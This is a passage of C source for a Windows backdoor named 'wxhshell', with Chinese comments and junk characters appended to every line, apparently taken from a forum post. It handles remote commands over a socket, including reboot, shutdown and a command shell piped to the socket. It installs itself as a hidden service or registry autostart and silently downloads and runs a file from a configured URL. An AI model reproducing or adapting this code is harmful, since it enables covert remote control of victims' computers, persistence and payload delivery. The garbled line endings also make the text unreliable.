      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y\ Su!?4!  
    break; pt[H5  
  } R(_UR)G0 @  
  // 安装 #m yiZL %  
  case 'i': { &s m7R i  
    if(Install()) HRP4"#9R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .PjJ g^^  
    else |KEq-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  =d07c  
    break; ?z,^QjQ}  
    } Q(Q .(  
  // 卸载 K6"#&0  
  case 'r': { ::bK{yZm   
    if(Uninstall()) c *<"&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44;ZX$HL  
    else yO}RkRA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X]up5tk~  
    break; ukM11LD5x  
    } 'wh2787  
  // 显示 wxhshell 所在路径 5m2`$y-nb  
  case 'p': { fT)u`voE,  
    char svExeFile[MAX_PATH]; pZ4]K xX@  
    strcpy(svExeFile,"\n\r"); P=v 0|Y*q|  
      strcat(svExeFile,ExeFile); d#~^)r  
        send(wsh,svExeFile,strlen(svExeFile),0); Oa7x(wS  
    break; Ut"~I)S{LT  
    } R1.No_`PHq  
  // 重启 n27df9L  
  case 'b': { =R+z\`2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v4_p3&aj  
    if(Boot(REBOOT)) NR3]MGBKv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2BTFK"=U  
    else { %{GYTc \'X  
    closesocket(wsh); cspO5S>#  
    ExitThread(0); 8I=n9Uyz  
    } bpq2TgFj  
    break; o#(z*v@  
    } fa#xEWaFr  
  // 关机 b(@[Y(_R  
  case 'd': { F!v`._]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oq00)I1  
    if(Boot(SHUTDOWN)) o5~o Rmsr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y k=o  
    else { [AAG:`  
    closesocket(wsh); :5kgJu  
    ExitThread(0); &E98&[`7  
    } }9Yd[`  
    break; QP+zGXd}(  
    } 9G)Sjn`AQ  
  // 获取shell BLc&q)  
  case 's': { ;O8Uc&:P  
    CmdShell(wsh); m e\S:  
    closesocket(wsh); G)qNu}  
    ExitThread(0); +<cvyg5U  
    break; 8NY $Iw  
  } 9rhIDA(wc  
  // 退出 m~KGB"  
  case 'x': { w]n ,`r^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,SEC~)L  
    CloseIt(wsh); G/Ll4 :  
    break; B+e$S%HV  
    } u$T`Bn  
  // 离开 Vp3r  
  case 'q': { |Ld/{&Qr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vfb~S~|U6g  
    closesocket(wsh); z}XmRc_Ko  
    WSACleanup(); <hG=0Zcr  
    exit(1); &V. ps1  
    break; I'"b3]DXG  
        } ]-  
  } ce/Z[B+d  
  } f-at@C1L%L  
8Lm}x_  
  // 提示信息 8 1Ar.<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AGwFD  
} /SLAg&  
  } t- Rp_2t  
?Bg<74  
  return; ` oBlv  
} P(z#Wk  
8;'fWV? U  
// shell模块句柄 Z<j(ZVO  
int CmdShell(SOCKET sock) YS$?Wz  
{ R-xWZRl>  
STARTUPINFO si; O0`k6$=6r  
ZeroMemory(&si,sizeof(si)); o+U]=q*|)$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1PwqW g-\\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &[]0yNG  
PROCESS_INFORMATION ProcessInfo; Fi8'3/q-^  
char cmdline[]="cmd"; `Qzga}`"]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [Xy^M3  
  return 0; Vf Jpiv1  
} -8- BVU  
V wj^h  
// 自身启动模式 Qg dHIMY  
int StartFromService(void)  '%! '1si  
{ EH;w <LvT  
typedef struct L,I5/K6  
{ \Qp #utC0s  
  DWORD ExitStatus; x)'4u6;d  
  DWORD PebBaseAddress; etY/K0  
  DWORD AffinityMask; {? -@`FR-  
  DWORD BasePriority; g.CUo:c  
  ULONG UniqueProcessId; $`J'Y>`  
  ULONG InheritedFromUniqueProcessId; L\@SX?j  
}   PROCESS_BASIC_INFORMATION; JaC =\\B  
.gPE Qc+D  
PROCNTQSIP NtQueryInformationProcess; #N`~. 96  
zbL!q_wO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6#NptXB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]6wo]nV[P  
FB<#N+L\  
  HANDLE             hProcess; 'B;aXy/JC  
  PROCESS_BASIC_INFORMATION pbi; }P[x Z_S1  
*W()|-[V3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W_z2Fs"A  
  if(NULL == hInst ) return 0; !P*1^8b`f  
E;l|I A/7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [qhQj\cK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +J`EBoIo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EC6&#)g;CO  
 Lb# e  
  if (!NtQueryInformationProcess) return 0; #&+0hS  
{Mt4QA5iZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x Bn+-V  
  if(!hProcess) return 0; Qz*!jwg  
H ]BH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hr%O4&sa  
9Vp|a&Ana  
  CloseHandle(hProcess); vfG4PJ 6  
=*Z=My}3~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WBS~e  
if(hProcess==NULL) return 0; >YPC &@9   
G\8ps ~3T  
HMODULE hMod; r81YL  
char procName[255]; d/>owCwQ  
unsigned long cbNeeded; QN=a{  
(;1FhIi&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :[#g_*G@p  
#V4kT*2P)  
  CloseHandle(hProcess); cU\Er{ k  
<{rRcFR  
if(strstr(procName,"services")) return 1; // 以服务启动 t#s?:  
z@E-pYV  
  return 0; // 注册表启动 pDr%uL  
} 57/9i> @  
x\qS|q\N  
// 主模块 G([8Q8B4 +  
int StartWxhshell(LPSTR lpCmdLine) _D9` L&X}  
{ ^4@~\#$z  
  SOCKET wsl; vywd&7gK  
BOOL val=TRUE; 7.4Q  
  int port=0; \VL[,z=q.  
  struct sockaddr_in door; O[ O`4de9  
9W$d'IA  
  if(wscfg.ws_autoins) Install(); +QNFu){G  
D3#/*Ky  
port=atoi(lpCmdLine); %JBFG.+  
+hdD*}qauC  
if(port<=0) port=wscfg.ws_port; %GUu{n<6  
\VmqK&9   
  WSADATA data; 8D[8(5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sW)C6 #  
j-2`yR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :O:Rfmr~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /s.O3x._'  
  door.sin_family = AF_INET; bSmF"H0cP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FY%v \`@1*  
  door.sin_port = htons(port); /{pVYY  
S4]}/Imn)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g0ec-  
closesocket(wsl); @NMFurm  
return 1; yYmV^7G  
} ^p#f B4z  
xEBiBsk d  
  if(listen(wsl,2) == INVALID_SOCKET) { V$u~}]z  
closesocket(wsl); ~2xC.DF_N  
return 1; Q+/:5Z C  
} '0_Z:\ laU  
  Wxhshell(wsl); d#:&Uw  
  WSACleanup(); T.kmoLlH  
a' "4:(L  
return 0; j&(2ze:=*$  
:5X1Tr= A  
}  8U!;  
Hl"rGA>  
// 以NT服务方式启动 55xv+|k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4`@]jm  
{ 82F q}N <  
DWORD   status = 0; K @3 yS8F  
  DWORD   specificError = 0xfffffff; 1aKYxjYM  
]@OGp:Hz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n*-t =DF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T^h;T{H2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bX#IE[Yp}  
  serviceStatus.dwWin32ExitCode     = 0; O/\L0\T  
  serviceStatus.dwServiceSpecificExitCode = 0; TQm x$  
  serviceStatus.dwCheckPoint       = 0; y3T- ^  
  serviceStatus.dwWaitHint       = 0; BcaMeb-Z  
uG2(NwOL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CC 1\0$ /  
  if (hServiceStatusHandle==0) return; y'?|#%D  
!xoN%5 !  
status = GetLastError(); ,2mnjq/*Z  
  if (status!=NO_ERROR) G v[W)+3f  
{ lyiBRMiP|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4fBgmL  
    serviceStatus.dwCheckPoint       = 0; Iu6KW:x  
    serviceStatus.dwWaitHint       = 0; "'H$YhY]  
    serviceStatus.dwWin32ExitCode     = status; c^P8)g Pf  
    serviceStatus.dwServiceSpecificExitCode = specificError; _[8xq:G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <>GWSW  
    return; ^,zE Nqg7  
  } rDkAeX0  
0S@O]k)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a5WVDh, cR  
  serviceStatus.dwCheckPoint       = 0; vTN/ho,H  
  serviceStatus.dwWaitHint       = 0; V-a/%_D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ul~>eZ  
} PT4Xr=z =  
!!&H'XEJV  
// 处理NT服务事件,比如:启动、停止 Ggy_ Ctu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (gBP`*2  
{ cSCO7L2E18  
switch(fdwControl) .58>KBj(  
{  FRI<A8  
case SERVICE_CONTROL_STOP: $Ch!]lJA  
  serviceStatus.dwWin32ExitCode = 0; 0'O;H[nrl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5;{d*L  
  serviceStatus.dwCheckPoint   = 0; :)}iWKAse  
  serviceStatus.dwWaitHint     = 0; "!<Kmh5  
  { 6'W79  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~rE U83  
  } xB:,l'\G  
  return; RC Fb&,51  
case SERVICE_CONTROL_PAUSE: GL&ri!,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7k{Oae\$  
  break; !\Jj}iX3_  
case SERVICE_CONTROL_CONTINUE: 8}Rwf?B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \{J gjd  
  break; %? +A.0]E  
case SERVICE_CONTROL_INTERROGATE: a$Eqe_  
  break; F7J-@T<  
}; &,+G}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); " |RP_v2  
} <4}zl'.  
P(G$@},W  
// 标准应用程序主函数 B9|!8V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L*bUjR,C  
{ zR h1  
fV*x2g7w  
// 获取操作系统版本 Gxv@a   
OsIsNt=GetOsVer(); F.c`0u;=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bTZ/$7pp9  
#C,M8~Q7  
  // 从命令行安装 4xhV +Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); )hj77~{ +  
6gwjrGje\  
  // 下载执行文件 {55{ YDqx  
if(wscfg.ws_downexe) { %@q52ZQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tu6oa[s  
  WinExec(wscfg.ws_filenam,SW_HIDE); RL |.y~  
} 9Q- /Yh  
yCkfAx8 ]  
if(!OsIsNt) { '-3AWBWI1  
// 如果时win9x,隐藏进程并且设置为注册表启动 !>b>"\b  
HideProc(); ]O',Ei^  
StartWxhshell(lpCmdLine); QU16X  
} Yo;/7gG>  
else OQaM47"  
  if(StartFromService()) c#nFm&}dm  
  // 以服务方式启动 kCxmC<34  
  StartServiceCtrlDispatcher(DispatchTable); 'p-jMD}O  
else /A\'_a|  
  // 普通方式启动 I<|)uK7  
  StartWxhshell(lpCmdLine); (: 2:_FL  
> C{^{?~u  
return 0; mbv\Gn#>  
}
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只看该作者 1 发表于: 2006-10-10
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